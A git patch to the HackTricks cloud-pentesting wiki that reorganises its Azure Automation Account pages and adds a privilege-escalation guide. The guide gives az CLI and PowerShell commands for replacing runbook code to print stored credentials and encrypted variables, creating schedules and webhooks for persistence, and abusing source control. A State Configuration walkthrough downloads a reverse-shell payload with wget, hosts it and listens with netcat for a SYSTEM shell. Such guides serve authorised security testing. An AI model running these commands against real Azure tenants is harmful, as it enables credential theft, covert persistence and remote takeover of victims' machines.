From d9f6b34673d77f5bbbbe3b006f43a29aaf2d5924 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Fri, 10 Jan 2025 12:59:11 +0100 Subject: [PATCH] fix ec2 + automation accounts --- src/SUMMARY.md | 4 +- .../aws-ec2-privesc.md | 8 +- .../az-automation-accounts-privesc.md | 272 ++++++++++++++++++ .../az-automation-account/README.md | 181 ------------ .../az-state-configuration-rce.md | 68 ----- .../az-services/az-automation-accounts.md | 234 +++++++++++++++ .../azure-security/az-services/vms/README.md | 4 +- 7 files changed, 513 insertions(+), 258 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 42681ba62..c39a9cc91 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -406,8 +406,7 @@ - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md) - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md) - - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md) + - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -454,6 +453,7 @@ - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 5862db174..cfd253040 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -90,7 +90,7 @@ aws iam add-role-to-instance-profile --instance-profile-name --role-name If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:** -- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \* +- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id @@ -102,7 +102,7 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it. -- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \* +- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da @@ -110,13 +110,11 @@ aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \* +- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). -```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -```` **Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md new file mode 100644 index 000000000..351489d14 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -0,0 +1,272 @@ +# Az - Azure Automation Accounts Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Automation Accounts + +Fore more information check: + +{{#ref}} +../az-services/az-automation-accounts.md +{{#endref}} + +### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) + +As summary these permissions allow to **create, modify and run Runbooks** in the Automation Account which you could use to **execute code** in the context of the Automation Account and escalate privileges to the assigned **Managed Identities** and leak **credentials** and **encrypted variables** stored in the Automation Account. + +The permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** allows to modify the code of a Runbook in the Automation Account using: + +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ + --resource-group Resource_Group_1 \ + --automation-account-name autoaccount1 \ + --name AzureAutomationTutorialWithIdentity \ + --content '$creds = Get-AutomationPSCredential -Name "" +$runbook_variable = Get-AutomationVariable -Name "" +$runbook_variable +$creds.GetNetworkCredential().username +$creds.GetNetworkCredential().password' +``` + +Note how the previous script can be used to **leak the useranmd and password** of a credential and the value of an **encrypted variable** stored in the Automation Account. + +The permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** allows the user to publish a Runbook in the Automation Account using so the changes are applied: + +```bash +az automation runbook publish \ + --resource-group \ + --automation-account-name \ + --name +``` + +The permission **`Microsoft.Automation/automationAccounts/jobs/write`** allows the user to run a Runbook in the Automation Account using: + +```bash +az automation runbook start --automation-account-name --resource-group --name +``` + +The permission **`Microsoft.Automation/automationAccounts/jobs/output/read`** allows the user to read the output of a job in the Automation Account using: + +```bash +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" +``` + +If there aren't Runbooks created, or ou want to create a new one, you will need the **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`** to do it using: + +```bash +az automation runbook create --automation-account-name --resource-group --name --type PowerShell +``` + +### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +This permission allows the user to **assign a user managed identity** to the Automation Account using: + +```bash +az rest --method PATCH \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ +--headers "Content-Type=application/json" \ +--body '{ + "identity": { + "type": "UserAssigned", + "userAssignedIdentities": { + "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} + } + } +}' +``` + +### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` + +With the permission **`Microsoft.Automation/automationAccounts/schedules/write`** it's possible to create a new Schedule in the Automation Account that is executed every 15 minutes (not very stealth) using the following command. + +Note that the **minimum interval for a schedule is 15 minutes**, and the **minimum start time is 5 minutes** in the future. + +```bash +## For linux +az automation schedule create \ + --resource-group \ + --automation-account-name \ + --name \ + --description "Triggers runbook every minute" \ + --start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \ + --frequency Minute \ + --interval 15 + +## Form macOS +az automation schedule create \ + --resource-group \ + --automation-account-name \ + --name \ + --description "Triggers runbook every 15 minutes" \ + --start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \ + --frequency Minute \ + --interval 15 +``` + +Then, with the permission **`Microsoft.Automation/automationAccounts/jobSchedules/write`** it's possible to assign a Scheduler to a runbook using: + +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ +--headers "Content-Type=application/json" \ +--body '{ + "properties": { + "runOn": "", + "runbook": { + "name": "" + }, + "schedule": { + "name": ">" + }, + "parameters": {} + } +}' +``` + +> [!TIP] +> In the previous example the jobchedule id was left as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** but you will need to use an arbitrary value to create this assignemnt. + +### `Microsoft.Automation/automationAccounts/webhooks/write` + +With the permission **`Microsoft.Automation/automationAccounts/webhooks/write`** it's possible to create a new Webhook for a Runbook inside an Automation Account using the following command. + +Note that you will need to **indicate webhook URI** with the token to use. + +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ +--body '{ + "name": "", + "properties": { + "isEnabled": true, + "expiryTime": "2026-01-09T20:03:30.291Z", + "parameters": {}, + "runOn": null, + "runbook": { + "name": "" + }, + "uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" + } +}' + +# Then, to call the runbook using the webhook +curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ + -H "Content-Length: 0" +``` + + +### `Microsoft.Automation/automationAccounts/runbooks/draft/write` + +Just with the permission `Microsoft.Automation/automationAccounts/runbooks/draft/write` it's possible to **update the code of a Runbook** without publishing it and run it using the following commands. + +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ + --resource-group Resource_Group_1 \ + --automation-account-name autoaccount1 \ + --name AzureAutomationTutorialWithIdentity \ + --content 'echo "Hello World"' + +# Run the unpublished code +az rest \ + --method PUT \ + --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ + --headers "Content-Type=application/json" \ + --body '{ + "parameters": {}, + "runOn": "", + "runtimeEnvironment": "PowerShell-5.1" + }' + +# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission) +az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01" +``` + +### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) + +This permission allows the user to **configure a source control** for the Automation Account using a commands such as the following (this uses Github as example): + +```bash +az automation source-control create \ + --resource-group \ + --automation-account-name \ + --name RemoteGithub \ + --repo-url https://github.com/carlospolop/gh-runbooks.git \ + --branch main \ + --folder-path /runbooks/ \ + --publish-runbook true \ + --auto-sync \ + --source-type GitHub \ + --token-type PersonalAccessToken \ + --access-token github_pat_11AEDCVZ +``` + +This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be **possible to escalate privileges**. + +Moreiver, remember that four source control to work in Automation Accounts it must have a managed identity with the role **`Contributor`** and if it's a user managed identity this can be configured also by setting in the variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** the **client id** of the user managed identity to use. + +> [!TIP] +> Note that it's not possible to change the repo URL of a source control once it's created. + +### Custom Runtime Environments + +If an automation account is using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like **a backdoor**). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed. + +### Compromising State Configuration + +**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) + +- Step 1 — Create Files + +**Files Required:** Two PowerShell scripts are needed: + 1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). + 2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). + +**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers. + +- Step 2 — Zip Configuration File + +The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account. + +```powershell +Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip +``` + +- Step 3 — Set Storage Context & Upload + +The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet. + +```powershell +Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx +``` + +- Step 4 — Prep Kali Box + +The Kali server downloads the RevPS.ps1 payload from a GitHub repository. + +```bash +wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 +``` + +The script is edited to specify the target Windows VM and port for the reverse shell. + +- Step 5 — Publish Configuration File + +The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM. + +- Step 6 — Host Payload and Setup Listener + +A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections. + +```bash +sudo python -m SimpleHTTPServer 80 +sudo nc -nlvp 443 +``` + +The scheduled task executes the payload, achieving SYSTEM-level privileges. + +{{#include ../../../banners/hacktricks-training.md}} + + diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md deleted file mode 100644 index ea3ca0066..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ /dev/null @@ -1,181 +0,0 @@ -# Az - Automation Account - -{{#include ../../../../banners/hacktricks-training.md}} - -## Basic Information - -[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation delivers a cloud-based automation, operating system updates, and configuration service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, update management, shared capabilities, and heterogeneous features. - -These are like "**scheduled tasks**" in Azure that will let you execute things (actions or even scripts) to **manage**, check and configure the **Azure environment**. - -### Run As Account - -When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\ -Microsoft recommends using a **Managed Identity** for Automation Account. - -> [!WARNING] -> This will be **removed on September 30, 2023 and changed for Managed Identities.** - -## Runbooks & Jobs - -**Runbooks** allow you to **execute arbitrary PowerShell** code. This could be **abused by an attacker** to steal the permissions of the **attached principal** (if any).\ -In the **code** of **Runbooks** you could also find **sensitive info** (such as creds). - -If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**). - -Go to `Automation Accounts` --> `` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections` + +A **Job is an instance of a Runbook execution**. When you run a Runbook, a Job is created to track that execution. Each job includes: + +- **Status**: Queued, Running, Completed, Failed, Suspended. +- **Output**: The result of the Runbook execution. +- **Start and End Time**: When the job started and completed. + +A job contains the **output** of the **Runbook** execution. If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**). + +### Schedules & Webhooks + +There are 3 main ways to execute a Runbook: + +- **Schedules**: These are used to **trigger** Runbooks at a **specific time** or **interval**. +- **Webhooks**: These are **HTTP endpoints** that can be used to **trigger** Runbooks from **external services**. Note that the webhook URL is **not visible** after creation. +- **Manual Trigger**: You can **manually trigger** a Runbook from the Azure Portal and from the cli. + +### Source Control + +It allows to import Runbooks from **Github, Azure Devops (Git) and Azure Devops (TFVC)**. It's possible to indicate it to publish the Runbooks of the repo to Azure Automation account and it's also possible to indicate to **sync the changes from the repo** to the Azure Automation account. + +When the sync is enabled, in the **Github repository a webhook is created** to trigger the sync everytime a push event ocurs. Example of a webhook URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` + +Note that these webhooks **won't be visible** when listing webhooks in the associated runbooks to the Github repo. Also note that it's **not possible to change the repo URL** of a source control once it's created. + +In order for the configured source control to work, the **Azure Automation Account** needs to have a managed identity (system or user) with the **`Contributor`** role. Moreover, to assing a user managed identity to the Automation Account, it'spossible to do it just setting the variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** to the **User Managed Identity Client ID**. + +### Runtime Environments + +When creating a Runbook it'spossible to select the runtime environment. By default, the following runtime environments are available: + +- **Powershell 5.1** +- **Powershell 7.1** +- **PowerShell 7.2** +- **Python 3.10** +- **Python 3.8** +- **Python 2.7** + +However, it's also possible to **create your own environments**, using one of these as a base. In the case of python, it's possible to upload `.whl` packages to the environment that will be used. In the case of PowerShell, it's possible to upload `.zip` packages with the modules to have in the runtime. + + +### Hybrid Worker + +A Runbook can be run in a **container inside Azure** or in a **Hybrid Worker** (non-azure machine).\ +The **Log Analytics Agent** is deployed on the VM to register it as a hybrid worker.\ +The hybrid worker jobs run as **SYSTEM** on Windows and **nxautomation** account on Linux.\ +Each Hybrid Worker is registered in a **Hybrid Worker Group**. + +Therefore, if you can choose to run a **Runbook** in a **Windows Hybrid Worker**, you will execute **arbitrary commands** inside an external machine as **System** (nice pivot technique). + +### State Configuration (SC) + +>[!WARNING] +> As indicated in [the docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration will be retired on September 30, 2027 and replaced by [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). + +Automation Accounts also support **State Configuration (SC)**, which is a feature that helps **configure** and **maintain** the **state** of your VMs. It's possible to **create** and **apply** DSC configurations to **Windows** and **Linux** machines. + +From an attackers perspective this was interesting because it allowed to **execute arbitrary PS code in all the configured VMs** allowing to escalate privileges to the managed identities of these VMs, potentially pivoting to new networks... Also, the configurations could contain **sensitive info**. + + +## Enumeration + +```bash +# List Automation Accounts +az automation account list --output table + +# Get Automation Account details +# Check the network access in `privateEndpointConnections` and `publicNetworkAccess` +# Check the managed identities in `identity` +az automation account show --name --resource-group + +# Get keys of automation account +## These are used for the DSC +az automation account list-keys --automation-account-name --resource-group + +# Get schedules of automation account +az automation schedule list --automation-account-name --resource-group + +# Get connections of automation account +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections?api-version=2023-11-01" + +# Get connection details +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections/?api-version=2023-11-01" + +# Get credentials of automation account +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials?api-version=2023-11-01" + +# Get credential details +## Note that you will only be able to access the password from inside a Runbook +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials/?api-version=2023-11-01" + +# Get certificates of automation account +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates?api-version=2023-11-01" + +# Get certificate details +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates/?api-version=2023-11-01" + +# Get variables of automation account +## It's possible to get the value of unencrypted variables but not the encrypted ones +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables?api-version=2023-11-01" + +# Get variable details +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2023-11-01" + +# Get runbooks of an automation account +az automation runbook list --automation-account-name --resource-group + +# Get runbook details +az automation runbook show --automation-account-name --resource-group --name + +# Get runbook content +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//runbooks//content?api-version=2023-11-01" + +# Get jobs of an automation account +az automation job list --automation-account-name --resource-group + +# Get job details +az automation job show --automation-account-name --resource-group --name + +# Get job output +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" + +# Get the Runbook content when the job was executed +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//runbookContent?api-version=2023-11-01" + +# Get webhooks inside an automation account +## It's possible to see to which runbook it belongs in the given data +## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d +## Generating a webhook can be useful from a persistence perspective +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks?api-version=2018-06-30" + +# Get the source control setting of an automation account (if any) +## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL +aaz automation source-control list --automation-account-name --resource-group + +# Get custom runtime environments +## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli" +az automation runtime-environment list \ + --resource-group > \ + --automation-account-name \ + --query "[?!(starts_with(description, 'System-generated'))]" + +# Get State Configurations (SC) of an automation account +az automation dsc configuration list --automation-account-name --resource-group + +# Get State Configuration details +az automation dsc configuration show --automation-account-name --resource-group --name + +# Get State Configuration content +az automation dsc configuration show-content --automation-account-name --resource-group --name +``` + +```powershell +# Check user right for automation +az extension add --upgrade -n automation +az automation account list # if it doesn't return anything the user is not a part of an Automation group + +# Gets Azure Automation accounts in a resource group +Get-AzAutomationAccount + +# List & get DSC configs +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug +## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) + +# List & get Run books code +Get-AzAutomationAccount | Get-AzAutomationRunbook +Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp + +# List credentials & variables & others +Get-AzAutomationAccount | Get-AzAutomationCredential +Get-AzAutomationAccount | Get-AzAutomationVariable +Get-AzAutomationAccount | Get-AzAutomationConnection +Get-AzAutomationAccount | Get-AzAutomationCertificate +Get-AzAutomationAccount | Get-AzAutomationSchedule +Get-AzAutomationAccount | Get-AzAutomationModule +Get-AzAutomationAccount | Get-AzAutomationPython3Package +## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them + +# List hybrid workers +Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName +``` + +## Privilege Escalation & Post Exploitation + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## References + +- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) +- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) +- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) + +{{#include ../../../../banners/hacktricks-training.md}} + + + diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 283d8bc13..d1d3f229e 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -579,9 +579,9 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
-DesiredConfigurationState (DSC) +DesiredStateConfiguration (DSC) -This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension: +This is a **VM extension** that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension: ```powershell # Content of revShell.ps1